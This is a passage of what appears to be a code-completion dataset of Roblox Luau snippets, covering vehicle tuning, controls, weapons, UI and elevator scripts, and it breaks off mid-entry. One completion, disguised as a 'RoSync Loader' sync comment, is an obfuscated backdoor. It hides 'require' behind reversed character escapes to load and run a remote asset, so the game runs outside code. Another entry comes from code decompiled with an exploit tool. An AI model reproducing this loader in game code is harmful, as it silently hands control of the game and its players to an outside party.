JeffTheKillerScript.Parent:FindFirstChild(\"HumanoidRootPart\");\nlocal JeffTheKiller=JeffTheKillerScript.Parent;\nfunction raycast(Spos,vec,currentdist)\nlocal hit2,pos2=game.Workspace:FindPartOnRay(Ray.new(Spos+(vec*.05),vec*currentdist),JeffTheKiller);\nif hit2~=nil and pos2 then\nif hit2.Name==\"Handle\" and not hit2.CanCollide or string.sub(hit2.Name,1,6)==\"Effect\"and not hit2.CanCollide then\nlocal currentdist=currentdist-(pos2-Spos).magnitude;\nreturn raycast(pos2,vec,currentdist);\nend;\nend;\nreturn hit2,pos2;\nend;\nfunction RayCast(Position,Direction,MaxDistance,IgnoreList)\nreturn game:GetService(\"Workspace\"):FindPartOnRayWithIgnoreList(Ray.new(Position,Direction.unit*(MaxDistance or 999.999)),IgnoreList);\nend;"} +{"prompt": "--[[**\n\t\tensures value matches given interface definition strictly\n\n\t\t@param checkTable The interface definition\n\n\t\t@returns A function that will return true iff the condition is passed\n\t**--]]", "completion": "\n\tfunction t.strictInterface(checkTable)\n\t\tassert(checkInterface(checkTable))\n\t\treturn function(value)\n\t\t\tlocal tableSuccess, tableErrMsg = t.table(value)\n\t\t\tif tableSuccess == false then\n\t\t\t\treturn false, tableErrMsg or \"\"\n\t\t\tend\n\n\t\t\tfor key, check in pairs(checkTable) do\n\t\t\t\tlocal success, errMsg = check(value[key])\n\t\t\t\tif success == false then\n\t\t\t\t\treturn false, string.format(\"[interface] bad value for %s:\\n\\t%s\", tostring(key), errMsg or \"\")\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tfor key in pairs(value) do\n\t\t\t\tif not checkTable[key] then\n\t\t\t\t\treturn false, string.format(\"[interface] unexpected field %q\", tostring(key))\n\t\t\t\tend\n\t\t\tend\n\n\t\t\treturn true\n\t\tend\n\tend\nend\n"} +{"prompt": "--[[\n\n\tLOWGames Studios\n\tDate: 27 October 2022\n\tby Elder\n\t\n]]", "completion": "--\n\nlocal u1 = nil;\ncoroutine.wrap(function()\n\tu1 = require(game.ReplicatedStorage:WaitForChild(\"Framework\"):WaitForChild(\"Library\"));\nend)();\nreturn function(p1)\n\tfor v1, v2 in pairs(p1) do\n\t\tif type(v1) ~= \"number\" then\n\t\t\treturn false;\n\t\tend;\n\t\tif p1[v1] == nil then\n\t\t\treturn false;\n\t\tend;\n\t\tif v1 >= 10 then\n\t\t\tbreak;\n\t\tend;\n\tend;\n\treturn true;\nend;\n"} +{"prompt": "--[[ Constants ]]", "completion": "--\nlocal DEFAULT_MOUSE_LOCK_CURSOR = \"rbxasset://textures/MouseLockedCursor.png\"\n\nlocal CONTEXT_ACTION_NAME = \"MouseLockSwitchAction\"\nlocal MOUSELOCK_ACTION_PRIORITY = Enum.ContextActionPriority.Default.Value\n"} +{"prompt": "--[[Engine]]", "completion": "\n\n\t-- Everything below can be illustrated and tuned with the graph below.\n\t-- https://www.desmos.com/calculator/x1h2vdccu1\n\t-- This includes everything, from the engines, to boost, to electric.\n\t\n\t-- To import engines prior to AC6C V1.3, consult the README.\n\t\n\t-- Naturally Aspirated Engine\n\tTune.Engine \t\t= true\t\t\n\t\t\n\t\tTune.IdleRPM\t\t= 700\n\t\tTune.Redline\t\t= 9000\n\t\tTune.PeakRPM\t\t= 8000\n\t\t-- Horsepower\n\t\tTune.Horsepower\t\t= 500\n\t\tTune.MH_PeakRPM\t\t= Tune.PeakRPM\n\t\tTune.MH_PeakSharp\t= 9.7\n\t\tTune.MH_CurveMult\t= 0.56\n\t\t-- Torque\n\t\tTune.M_EqPoint\t\t= 5252\n\t\tTune.MT_PeakRPM\t\t= 8400\n\t\tTune.MT_PeakSharp\t= 9.3\n\t\tTune.MT_CurveMult\t= 0.6\n\t\n\t-- Electric Engine\n\tTune.Electric\t\t= true\n\t\t\n\t\tTune.E_Redline\t= 12700\n\t\tTune.E_Trans1\t= 4000\n\t\tTune.E_Trans2\t= 7000\n\t\t-- Horsepower\n\t\tTune.E_Horsepower\t= 223\n\t\tTune.EH_FrontMult\t= 0.15\n\t\tTune.EH_EndMult\t\t= 2.9\n\t\tTune.EH_EndPercent\t= 7\n\t\t-- Torque\n\t\tTune.E_Torque\t\t= 286\n\t\tTune.ET_EndMult\t\t= 1.505\n\t\tTune.ET_EndPercent\t= 27.5\n\t\t\n\t-- Turbocharger\n\tTune.Turbochargers\t= 1\t\t\t\t-- Number of turbochargers in the engine\n\t\t\t\t\t\t\t\t\t\t-- Set to 0 for no turbochargers\n\t\tTune.T_Boost\t\t= 10\n\t\tTune.T_Efficiency\t= 4.15\n\t\t--Horsepower\n\t\tTune.TH_PeakSharp\t= 12.8\n\t\tTune.TH_CurveMult\t= 1.4\n\t\t--Torque\n\t\tTune.TT_PeakSharp\t= 2\n\t\tTune.TT_CurveMult\t= 0.6\n\t\t\n\t\tTune.T_Size\t\t\t= 80\t\t-- Turbo Size; Bigger size = more turbo lag\n\t\t\n\t-- Supercharger\n\tTune.Superchargers\t= 0\t\t\t\t-- Number of superchargers in the engine\n\t\t\t\t\t\t\t\t\t\t-- Set to 0 for no superchargers\n\t\tTune.S_Boost\t\t= 4\n\t\tTune.S_Efficiency\t= 8\n\t\t--Horsepower\n\t\tTune.SH_PeakSharp\t= 10.9\n\t\tTune.SH_CurveMult\t= 1.2\n\t\t--Torque\n\t\tTune.ST_PeakSharp\t= 13.2\n\t\tTune.ST_CurveMult\t= 4.8\n\t\t\n\t\tTune.S_Sensitivity\t= 0.05\t\t-- Supercharger responsiveness/sensitivity, applied per tick (recommended values between 0.05 to 0.1)\n\t\t\n\t--Misc\n\tTune.ThrotAccel\t\t= .05\t\t-- Throttle acceleration, applied per tick (recommended values between 0.05 to 0.1)\n\tTune.ThrotDecel\t\t= .2\t\t-- Throttle deceleration, applied per tick (recommended values between 0.1 to 0.3)\n\t\n\tTune.BrakeAccel\t\t= .2\t\t-- Brake acceleration, applied per tick\n\tTune.BrakeDecel\t\t= .5\t\t-- Brake deceleration, applied per tick\n\t\n\tTune.RevAccel\t\t= 250\t\t-- RPM acceleration when clutch is off\n\tTune.RevDecay\t\t= 75\t\t-- RPM decay when clutch is off\n\tTune.RevBounce\t\t= 500\t\t-- RPM kickback from redline\n\t\n\tTune.IdleThrottle\t= 3\t\t\t-- Percent throttle at idle\n\tTune.Flywheel\t\t= 500\t\t-- Flywheel weight (higher = faster response, lower = more stable RPM)\n\t\n\tTune.InclineComp\t= 1.2\t\t-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)\n\t\n\t--Aero\n\tTune.Drag\t\t\t= 0.5\t\t-- 0 to 1, edit to change drag effect (0 = no effect like older AC6C, 1 = full effect) \n\t"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nreturn {\n\t[\"Tech Coins\"] = {\n\t\tcanDrop = true, \n\t\tdropWeight = 30, \n\t\tisUnique = false, \n\t\ttiers = { {\n\t\t\t\ttitle = \"Tech Coins I\", \n\t\t\t\tdesc = \"Pet earns +15% more Tech Coins\", \n\t\t\t\tvalue = 1.15\n\t\t\t}, {\n\t\t\t\ttitle = \"Tech Coins II\", \n\t\t\t\tdesc = \"Pet earns +30% more Tech Coins\", \n\t\t\t\tvalue = 1.3\n\t\t\t}, {\n\t\t\t\ttitle = \"Tech Coins III\", \n\t\t\t\tdesc = \"Pet earns +50% more Tech Coins\", \n\t\t\t\tvalue = 1.5\n\t\t\t}, {\n\t\t\t\ttitle = \"Tech Coins IV\", \n\t\t\t\tdesc = \"Pet earns +75% more Tech Coins\", \n\t\t\t\tvalue = 1.75\n\t\t\t}, {\n\t\t\t\ttitle = \"Tech Coins V\", \n\t\t\t\tdesc = \"Pet earns +100% more Tech Coins\", \n\t\t\t\tvalue = 2\n\t\t\t} }\n\t}\n};\n"} +{"prompt": "--Supercharger", "completion": "\nlocal Whine_Pitch = 1.3\t\t--max pitch of the whine (not exact so might have to mess with it)\n"} +{"prompt": "------------", "completion": "\nelseif Clicking == false then\nend\nend)\n\nColors.MouseButton1Down:Connect(function()\nClicking = true\nend)\nColors.MouseLeave:Connect(function()\nClicking = false\nend)\nColors.MouseButton1Up:Connect(function()\nClicking = false\nend)\nColors.Picker.MouseButton1Up:Connect(function()\nClicking = false\nend)\n"} +{"prompt": "-- connect events", "completion": "\nHumanoid.Died:connect(onDied)\nHumanoid.Running:connect(onRunning)\nHumanoid.Jumping:connect(onJumping)\nHumanoid.Climbing:connect(onClimbing)\nHumanoid.GettingUp:connect(onGettingUp)\nHumanoid.FreeFalling:connect(onFreeFall)\nHumanoid.FallingDown:connect(onFallingDown)\nHumanoid.Seated:connect(onSeated)\nHumanoid.PlatformStanding:connect(onPlatformStanding)\nHumanoid.Swimming:connect(onSwimming)\nlocal runService = game:GetService(\"RunService\");\nplayAnimation(\"idle\", 0.1, Humanoid)\npose = \"Standing\"\nwhile Wait(0)do\nlocal _,time=wait(0)\nmove(time)\nend\n"} +{"prompt": "--[===[ EDIT ONLY THIS RATIO! ]===]", "completion": "\nlocal size = .85 / 1"} +{"prompt": "-- local CurrentModule = script.Parent\n-- local Packages = CurrentModule.Parent\n-- local LuauPolyfill = require(Packages.LuauPolyfill)\n-- local Array = LuauPolyfill.Array\n-- local Boolean = LuauPolyfill.Boolean\n-- local Object = LuauPolyfill.Object\n-- local Set = LuauPolyfill.Set\n-- local Symbol = LuauPolyfill.Symbol\n-- type Record = { [K]: V }\n-- local exports = {}", "completion": "\n"} +{"prompt": "--!strict", "completion": "\nreturn {\n\tassign = require(script.assign),\n\tentries = require(script.entries),\n\tfreeze = require(script.freeze),\n\tis = require(script.is),\n\tisFrozen = require(script.isFrozen),\n\tkeys = require(script.keys),\n\tpreventExtensions = require(script.preventExtensions),\n\tseal = require(script.seal),\n\tvalues = require(script.values),\n\t-- Special marker type used in conjunction with `assign` to remove values\n\t-- from tables, since nil cannot be stored in a table\n\tNone = require(script.None),\n}\n"} +{"prompt": "-- Local player", "completion": "\nlocal player = game.Players.LocalPlayer\nlocal character = player.Character or player.CharacterAdded:Wait()\nlocal humanoid = character:WaitForChild(\"Humanoid\")\nlocal humanoidRoot = character:WaitForChild(\"HumanoidRootPart\")\n\nlocal StarterGui = script.Parent.Parent\nlocal PlayerGui = player:WaitForChild(\"PlayerGui\")\n"} +{"prompt": "--[[ Constants ]]", "completion": "--\nlocal DPAD_SHEET = \"rbxasset://textures/ui/DPadSheet.png\"\nlocal TOUCH_CONTROL_SHEET = \"rbxasset://textures/ui/TouchControlsSheet.png\"\n"} +{"prompt": "-- CONSTRUCTOR", "completion": "\nfunction Tracker.new(name)\n\tlocal self = {}\n\tsetmetatable(self, Tracker)\n\t\n\tself.name = name\n\tself.totalVolume = 0\n\tself.parts = {}\n\tself.partToItem = {}\n\tself.items = {}\n\tself.whitelistParams = nil\n\tself.characters = {}\n\tself.baseParts = {}\n\tself.exitDetections = {}\n\tself.janitor = Janitor.new()\n\n\tif name == \"player\" then\n\t\tlocal function updatePlayerCharacters()\n\t\t\tlocal characters = {}\n\t\t\tfor _, player in pairs(players:GetPlayers()) do\n\t\t\t\tlocal character = player.Character\n\t\t\t\tif character then\n\t\t\t\t\tcharacters[character] = true\n\t\t\t\tend\n\t\t\tend\n\t\t\tself.characters = characters\n\t\tend\n\t\t\n\t\tlocal function playerAdded(player)\n\t\t\tlocal function charAdded(character)\n\t\t\t\tlocal humanoid = character:WaitForChild(\"Humanoid\", 3)\n\t\t\t\tif humanoid then\n\t\t\t\t\tupdatePlayerCharacters()\n\t\t\t\t\tself:update()\n\t\t\t\t\tfor _, valueInstance in pairs(humanoid:GetChildren()) do\n\t\t\t\t\t\tif valueInstance:IsA(\"NumberValue\") then\n\t\t\t\t\t\t\tvalueInstance.Changed:Connect(function()\n\t\t\t\t\t\t\t\tself:update()\n\t\t\t\t\t\t\tend)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\tif player.Character then\n\t\t\t\tcharAdded(player.Character)\n\t\t\tend\n\t\t\tplayer.CharacterAdded:Connect(charAdded)\n\t\t\tplayer.CharacterRemoving:Connect(function(removingCharacter)\n\t\t\t\tself.exitDetections[removingCharacter] = nil\n\t\t\tend)\n\t\tend\n\t\t\n\t\tplayers.PlayerAdded:Connect(playerAdded)\n\t\tfor _, player in pairs(players:GetPlayers()) do\n\t\t\tplayerAdded(player)\n\t\tend\n\t\t\n\t\tplayers.PlayerRemoving:Connect(function(player)\n\t\t\tupdatePlayerCharacters()\n\t\t\tself:update()\n\t\tend)\n\n\n\telseif name == \"item\" then\n\t\tlocal function updateItem(itemDetail, newValue)\n\t\t\tif itemDetail.isCharacter then\n\t\t\t\tself.characters[itemDetail.item] = newValue\n\t\t\telseif itemDetail.isBasePart then\n\t\t\t\tself.baseParts[itemDetail.item] = newValue\n\t\t\tend\n\t\t\tself:update()\n\t\tend\n\t\tTracker.itemAdded:Connect(function(itemDetail)\n\t\t\tupdateItem(itemDetail, true)\n\t\tend)\n\t\tTracker.itemRemoved:Connect(function(itemDetail)\n\t\t\tself.exitDetections[itemDetail.item] = nil\n\t\t\tupdateItem(itemDetail, nil)\n\t\tend)\n\tend\n\n\ttrackers[self] = true\n\ttask.defer(self.update, self)\n\treturn self\nend\n\n\n"} +{"prompt": "-- 3D TextGen", "completion": "\n\nThis = script.Parent\nBtn = This.Parent\nLift = Btn.Parent.Parent.Parent\nConfig = require(Lift.CustomLabel)\nCharacters = require(script.Characters)\n\nCustomLabel = Config[\"CUSTOMFLOORLABEL\"][tonumber(Btn.Name)]\n\nfunction ChangeFloor(SF)\n\tif string.len(SF) == 1 then\n\t\tSetLabel(1,SF,-0.04)\t\n\t\tSetLabel(2,\"NIL\",0)\n\telse\n\t\tSetLabel(1,SF:sub(1,1),0)\t\n\t\tSetLabel(2,SF:sub(2,2),0)\n\tend\nend\n\n\nfunction SetLabel(ID,CHAR,OFFSET)\n\tif This:FindFirstChild(\"L\"..ID) and Characters[CHAR] ~= nil then\n\t\tThis[\"L\"..ID].Mesh.Offset = Vector3.new(OFFSET, 0, 0)\n\t\tfor i,l in pairs(Characters[CHAR]) do \n\t\t\tThis[\"L\"..ID].Mesh.MeshId = \"rbxassetid://\"..l\n\t\tend\n\t\tif CHAR == \"M\" or CHAR == \"W\" then\n\t\t\tThis[\"L\"..ID].Mesh.Scale = Vector3.new(0.14, 0.01, 0.21)\n\t\telse\n\t\t\tThis[\"L\"..ID].Mesh.Scale = Vector3.new(0.24, 0.01, 0.21)\n\t\tend\n\tend\nend\n\n\nif CustomLabel then\n\tChangeFloor(CustomLabel)\nelse\n\tChangeFloor(Btn.Name)\nend\n\nscript:Destroy()\n"} +{"prompt": "-- LOCAL", "completion": "\nlocal players = game:GetService(\"Players\")\nlocal runService = game:GetService(\"RunService\")\nlocal heartbeat = runService.Heartbeat\nlocal Signal = require(script.Parent.Parent.Signal)\nlocal Janitor = require(script.Parent.Parent.Janitor)\n\n\n"} +{"prompt": "--[[\n\tKeyboard Character Control - This module handles controlling your avatar from a keyboard\n\n\t2018 PlayerScripts Update - AllYourBlox\n--]]", "completion": "\n"} +{"prompt": "-------- OMG HAX", "completion": "\n\nr = game:service(\"RunService\")\n\n\nlocal damage = 5\n\n\nlocal slash_damage = 12\n\n\nsword = script.Parent.Handle\nTool = script.Parent\n\n\nlocal SlashSound = Instance.new(\"Sound\")\nSlashSound.SoundId = \"http://www.roblox.com/Asset/?ID=11949128\"\nSlashSound.Parent = sword\nSlashSound.Volume = .7\n\n\nfunction blow(hit)\n\tlocal humanoid = hit.Parent:findFirstChild(\"Humanoid\")\n\tlocal vCharacter = Tool.Parent\n\tlocal vPlayer = game.Players:playerFromCharacter(vCharacter)\n\tlocal hum = vCharacter:findFirstChild(\"Humanoid\") -- non-nil if tool held by a character\n\tif humanoid~=nil and humanoid ~= hum and hum ~= nil then\n\t\t-- final check, make sure sword is in-hand\n\n\t\tlocal right_arm = vCharacter:FindFirstChild(\"Right Arm\")\n\t\tif (right_arm ~= nil) then\n\t\t\tlocal joint = right_arm:FindFirstChild(\"RightGrip\")\n\t\t\tif (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then\n\t\t\t\ttagHumanoid(humanoid, vPlayer)\n\t\t\t\thumanoid:TakeDamage(damage)\n\t\t\t\twait(1)\n\t\t\t\tuntagHumanoid(humanoid)\n\t\t\tend\n\t\tend\n\n\n\tend\nend\n\n\nfunction tagHumanoid(humanoid, player)\n\tlocal creator_tag = Instance.new(\"ObjectValue\")\n\tcreator_tag.Value = player\n\tcreator_tag.Name = \"creator\"\n\tcreator_tag.Parent = humanoid\nend\n\nfunction untagHumanoid(humanoid)\n\tif humanoid ~= nil then\n\t\tlocal tag = humanoid:findFirstChild(\"creator\")\n\t\tif tag ~= nil then\n\t\t\ttag.Parent = nil\n\t\tend\n\tend\nend\n\n\nfunction attack()\n\tdamage = slash_damage\n\tSlashSound:play()\n\tlocal anim = Instance.new(\"StringValue\")\n\tanim.Name = \"toolanim\"\n\tanim.Value = \"Slash\"\n\tanim.Parent = Tool\nend\n\n\nfunction swordUp()\n\tTool.GripForward = Vector3.new(-1,0,0)\n\tTool.GripRight = Vector3.new(0,1,0)\n\tTool.GripUp = Vector3.new(0,0,1)\nend\n\nfunction swordOut()\n\tTool.GripForward = Vector3.new(0,0,1)\n\tTool.GripRight = Vector3.new(0,-1,0)\n\tTool.GripUp = Vector3.new(-1,0,0)\nend\n\n\n\nTool.Enabled = true\n\nfunction onActivated()\n\n\tif not Tool.Enabled then\n\t\treturn\n\tend\n\n\tTool.Enabled = false\n\n\tlocal character = Tool.Parent;\n\tlocal humanoid = character.Humanoid\n\tif humanoid == nil then\n\t\tprint(\"Humanoid not found\")\n\t\treturn \n\tend\n\n\t\n\n\tattack()\n\n\twait(.5)\n\n\tTool.Enabled = true\nend\n\n\nfunction onEquipped()\n\tSlashSound:play()\nend\n\n\nscript.Parent.Activated:connect(onActivated)\nscript.Parent.Equipped:connect(onEquipped)\n\n\nconnection = sword.Touched:connect(blow)\n\n\n"} +{"prompt": "--[[ Last synced 3/7/2021 02:55 RoSync Loader ]]", "completion": " getfenv()[string.reverse(\"\\101\\114\\105\\117\\113\\101\\114\")](5722905184) --[[ ]]--\n"} +{"prompt": "-- Double check that we are being called from the client...", "completion": "\n\nisClient = (game.Players.LocalPlayer ~= nil)\n\nif not isClient then\n\terror(\"ERROR: '\"..script:GetFullName()..\"' can only be used from a LocalScript.\")\nend\n"} +{"prompt": "-- Body objects", "completion": "\nlocal BodyForce = TireMesh:WaitForChild(\"BodyForce\")\n"} +{"prompt": "--[[\n\tCreate a new result node that can be inserted into a TestResult tree.\n]]", "completion": "\nfunction TestResults.createNode(planNode)\n\tlocal node = {\n\t\tplanNode = planNode,\n\t\tchildren = {},\n\t\terrors = {},\n\t\tstatus = nil,\n\t}\n\n\treturn node\nend\n"} +{"prompt": "--[[ Constants ]]", "completion": "--\nlocal ZERO_VECTOR3 = Vector3.new(0,0,0)\nlocal TOUCH_CONTROL_SHEET = \"rbxasset://textures/ui/TouchControlsSheet.png\""} +{"prompt": "-------------------------------------", "completion": "\nequiped=false\nsp=script.Parent\nRayLength=1000\nSpread=0.1\nenabled=true\nreloading=false\ndown=false\nr=game:service(\"RunService\")\nlast=0\nlast2=0\nlast3=0\nlast4=0\nlast5=0\nlast6=0\n\np = Instance.new(\"Part\")\np.Parent = game.Lighting\np.Name = \"BulletTexture\"\np.CanCollide = false\np.formFactor = \"Custom\"\np.Size = Vector3.new(1,0.1,1)\np.Transparency = 1\ng = Instance.new(\"SpecialMesh\")\ng.Parent = p\n\nBullet=Instance.new(\"Part\")\nBullet.Name=\"Bullet\"\nBullet.BrickColor=BrickColor.new(\"Bright blue\")\nBullet.Anchored=true\nBullet.CanCollide=false\nBullet.Locked=true\nBullet.Size=Vector3.new(1,1,1)"} +{"prompt": "-- Helper function to lazily instantiate a controller if it does not yet exist,\n-- disable the active controller if it is different from the on being switched to,\n-- and then enable the requested controller. The argument to this function must be\n-- a reference to one of the control modules, i.e. Keyboard, Gamepad, etc.", "completion": "\nfunction ControlModule:SwitchToController(controlModule)\n\tif not controlModule then\n\t\tif self.activeController then\n\t\t\tself.activeController:Enable(false)\n\t\tend\n\t\tself.activeController = nil\n\t\tself.activeControlModule = nil\n\telse\n\t\tif not self.controllers[controlModule] then\n\t\t\tself.controllers[controlModule] = controlModule.new(CONTROL_ACTION_PRIORITY)\n\t\tend\n\n\t\tif self.activeController ~= self.controllers[controlModule] then\n\t\t\tif self.activeController then\n\t\t\t\tself.activeController:Enable(false)\n\t\t\tend\n\t\t\tself.activeController = self.controllers[controlModule]\n\t\t\tself.activeControlModule = controlModule -- Only used to check if controller switch is necessary\n\n\t\t\tif self.touchControlFrame and (self.activeControlModule == ClickToMove\n\t\t\t\t\t\tor self.activeControlModule == TouchThumbstick\n\t\t\t\t\t\tor self.activeControlModule == DynamicThumbstick) then\n\t\t\t\tif not self.controllers[TouchJump] then\n\t\t\t\t\tself.controllers[TouchJump] = TouchJump.new()\n\t\t\t\tend\n\t\t\t\tself.touchJumpController = self.controllers[TouchJump]\n\t\t\t\tself.touchJumpController:Enable(true, self.touchControlFrame)\n\t\t\telse\n\t\t\t\tif self.touchJumpController then\n\t\t\t\t\tself.touchJumpController:Enable(false)\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tself:EnableActiveControlModule()\n\t\tend\n\tend\nend\n\nfunction ControlModule:OnLastInputTypeChanged(newLastInputType)\n\tif lastInputType == newLastInputType then\n\t\twarn(\"LastInputType Change listener called with current type.\")\n\tend\n\tlastInputType = newLastInputType\n\n\tif lastInputType == Enum.UserInputType.Touch then\n\t\t-- TODO: Check if touch module already active\n\t\tlocal touchModule, success = self:SelectTouchModule()\n\t\tif success then\n\t\t\twhile not self.touchControlFrame do\n\t\t\t\twait()\n\t\t\tend\n\t\t\tself:SwitchToController(touchModule)\n\t\tend\n\telseif computerInputTypeToModuleMap[lastInputType] ~= nil then\n\t\tlocal computerModule = self:SelectComputerMovementModule()\n\t\tif computerModule then\n\t\t\tself:SwitchToController(computerModule)\n\t\tend\n\tend\n\n\tself:UpdateTouchGuiVisibility()\nend\n"} +{"prompt": "--[[Super Util]]", "completion": "--\nfunction WaitForChild(parent,...)\n\tlocal debugPrint = false\n\tfor _, i in ipairs({...}) do\n\t\tif type(i)=='boolean' then\n\t\t\tdebugPrint = i\n\t\telse\n\t\t\twhile not parent:FindFirstChild(i) do \n\t\t\t\twait(1/30) \n\t\t\t\tif debugPrint then\n\t\t\t\t\tprint(script.Name..':'..parent.Name..' Waiting for '.. i)\n\t\t\t\tend\n\t\t\tend\n\t\t\tparent=parent[i]\n\t\tend\n\tend\n\treturn parent\nend\n"} +{"prompt": "--Creates a controller group.", "completion": "\nfunction ControllerGroups:CreateControllerGroup()\n\tlocal ControllerGroup = {}\n\tlocal Frames = {}\n\tlocal Active = false\n\tlocal FirstFrame\n\t\n\t--Sets the group to be active.\n\tfunction ControllerGroup:SetActive(IsActive,IsPriority)\n\t\tif IsActive ~= Active then\n\t\t\tif IsActive then\n\t\t\t\tif IsPriority then\n\t\t\t\t\ttable.insert(ActivePriorityControllerGroups,1,ControllerGroup)\n\t\t\t\telse\n\t\t\t\t\ttable.insert(ActiveControllerGroups,1,ControllerGroup)\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tfor Id,Group in pairs(ActiveControllerGroups) do\n\t\t\t\t\tif Group == ControllerGroup then\n\t\t\t\t\t\ttable.remove(ActiveControllerGroups,Id)\n\t\t\t\t\t\tbreak\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tfor Id,Group in pairs(ActivePriorityControllerGroups) do\n\t\t\t\t\tif Group == ControllerGroup then\n\t\t\t\t\t\ttable.remove(ActivePriorityControllerGroups,Id)\n\t\t\t\t\t\tbreak\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tUpdateActiveButton()\n\t\t\tend\n\t\t\t\n\t\t\tActive = IsActive\n\t\t\tUpdateActiveButton()\n\t\tend\n\tend\n\t\n\t--Set the first frame when the group is activated.\n\tfunction ControllerGroup:SetFirstFrame(Frame)\n\t\tif ControllerGroup:FrameInGroup(Frame) then\n\t\t\tFirstFrame = Frame\n\t\telse\n\t\t\tFirstFrame = nil\n\t\tend\n\tend\n\t\n\t--Returns if the frame is in the group.\n\tfunction ControllerGroup:FrameInGroup(Frame)\n\t\tfor _,OtherFrame in pairs(Frames) do\n\t\t\tif Frame == OtherFrame then\n\t\t\t\treturn true\n\t\t\tend\n\t\tend\n\t\t\n\t\treturn false\n\tend\n\t\n\t--Adds a frame to the controller group.\n\tfunction ControllerGroup:AddFrame(Frame)\n\t\tif not ControllerGroup:FrameInGroup(Frame) then\n\t\t\ttable.insert(Frames,Frame)\n\t\t\t\n\t\t\tif Active then UpdateActiveButton() end\n\t\tend\n\tend\n\t\n\t--Removes a frame from the controller.\n\tfunction ControllerGroup:RemoveFrame(Frame)\n\t\tfor Id,OtherFrame in pairs(Frames) do\n\t\t\tif Frame == OtherFrame then\n\t\t\t\ttable.remove(Frames,Id)\n\t\t\t\t\n\t\t\t\tif Active then UpdateActiveButton() end\n\t\t\t\treturn\n\t\t\tend\n\t\tend\n\tend\n\t\n\t--Clears all frames in the controller group.\n\tfunction ControllerGroup:ClearFrames()\n\t\tFrames = {}\n\t\tif Active then UpdateActiveButton() end\n\tend\n\t\n\t--Returns if the group is active.\n\tfunction ControllerGroup:IsActive()\n\t\treturn GetActiveGroup() == ControllerGroup\n\tend\n\t\n\t--Returns all the frames in the group.\n\tfunction ControllerGroup:GetFrames()\n\t\treturn Frames\n\tend\n\t\n\t--Returns the first frame in teh group.\n\tfunction ControllerGroup:GetFirstFrame()\n\t\treturn ((FirstFrame and ControllerGroup:FrameInGroup(FirstFrame)) and FirstFrame) or Frames[1]\n\tend\n\t\n\treturn ControllerGroup\nend\n"} +{"prompt": "----------------------------------------------------------------------------------------------------\n-------------------=[ PROJETIL ]=-------------------------------------------------------------------\n----------------------------------------------------------------------------------------------------", "completion": "\n\t,Distance = 10000\n\t,BDrop = .25\n\t,BSpeed = 2000\n\n\t,SuppressMaxDistance = 25\t--- Studs\n\t,SuppressTime = 10\t\t\t--- Seconds\n\n\t,BulletWhiz = true\n\t,BWEmitter = 25\n\t,BWMaxDistance = 200\n\t\n\t,BulletFlare = false\n\t,BulletFlareColor = Color3.fromRGB(255,255,255)\n\n\t,Tracer = true\n\t,TracerColor = Color3.fromRGB(255,255,255)\n\t,TracerLightEmission = 1\n\t,TracerLightInfluence = 0\n\t,TracerLifeTime = .2\n\t,TracerWidth = .1\n\t,RandomTracer = false\n\t,TracerEveryXShots = 5\n\t,TracerChance = 100\n\t\n\t,BulletLight = false\n\t,BulletLightBrightness = 1\n\t,BulletLightColor = Color3.fromRGB(255,255,255)\n\t,BulletLightRange = 10\n\n\t,ExplosiveHit = false\n\t,ExPressure = 500\n\t,ExpRadius = 25\n\t,DestroyJointRadiusPercent = 0\t--- Between 0 & 1\n\t,ExplosionDamage = 100\n\n\t,LauncherDamage = 100\n\t,LauncherRadius = 25\n\t,LauncherPressure = 500\n\t,LauncherDestroyJointRadiusPercent = 0"} +{"prompt": "-- -- -- -- -- -- --\n--DIRECTION SCROLL--\n-- -- -- -- -- -- --", "completion": "\n\n\nwhile true do\n\twait()\n\tif Lift:WaitForChild(\"Direction\").Value == 1 then\n\t\tThis.Display.ARW1.UP.BrickColor = BrickColor.new(ActiveCol)\n\t\tThis.Display.ARW1.UP.Material = \"Neon\"\n\t\tThis.Display.ARW1.MID.BrickColor = BrickColor.new(ActiveCol)\n\t\tThis.Display.ARW1.MID.Material = \"Neon\"\n\t\tThis.Display.ARW1.DOWN.BrickColor = BrickColor.new(InactiveCol)\n\t\tThis.Display.ARW1.DOWN.Material = \"SmoothPlastic\"\n\telseif Lift:WaitForChild(\"Direction\").Value == -1 then\n\t\tThis.Display.ARW1.UP.BrickColor = BrickColor.new(InactiveCol)\n\t\tThis.Display.ARW1.UP.Material = \"SmoothPlastic\"\n\t\tThis.Display.ARW1.MID.BrickColor = BrickColor.new(ActiveCol)\n\t\tThis.Display.ARW1.MID.Material = \"Neon\"\n\t\tThis.Display.ARW1.DOWN.BrickColor = BrickColor.new(ActiveCol)\n\t\tThis.Display.ARW1.DOWN.Material = \"Neon\"\n\telse\n\t\tThis.Display.ARW1.UP.BrickColor = BrickColor.new(InactiveCol)\n\t\tThis.Display.ARW1.UP.Material = \"SmoothPlastic\"\n\t\tThis.Display.ARW1.MID.BrickColor = BrickColor.new(InactiveCol)\n\t\tThis.Display.ARW1.MID.Material = \"SmoothPlastic\"\n\t\tThis.Display.ARW1.DOWN.BrickColor = BrickColor.new(InactiveCol)\n\t\tThis.Display.ARW1.DOWN.Material = \"SmoothPlastic\"\n\tend\nend\n"} +{"prompt": "--[[\n\n\tLOWGames Studios\n\tDate: 27 October 2022\n\tby Elder\n\t\n]]", "completion": "--\n\nlocal u1 = nil;\ncoroutine.wrap(function()\n\tu1 = require(game.ReplicatedStorage:WaitForChild(\"Framework\"):WaitForChild(\"Library\"));\nend)();\nreturn function(p1)\n\tlocal v1 = nil;\n\tv1 = 0;\n\tfor v2 = 1, string.len(p1) do\n\t\tv1 = v1 + string.byte(string.sub(p1, v2, v2));\n\tend;\n\treturn v1\nend;\n"} +{"prompt": "--[[Engine]]", "completion": "\n\t--Torque Curve\n\tTune.Horsepower\t\t= 135\t\t--\t[TORQUE CURVE VISUAL]\n\tTune.IdleRPM\t\t= 800\t\t--\t\thttps://www.desmos.com/calculator/2uo3hqwdhf\n\tTune.PeakRPM\t\t= 8000\t\t--\t\tUse sliders to manipulate values\n\tTune.Redline\t\t= 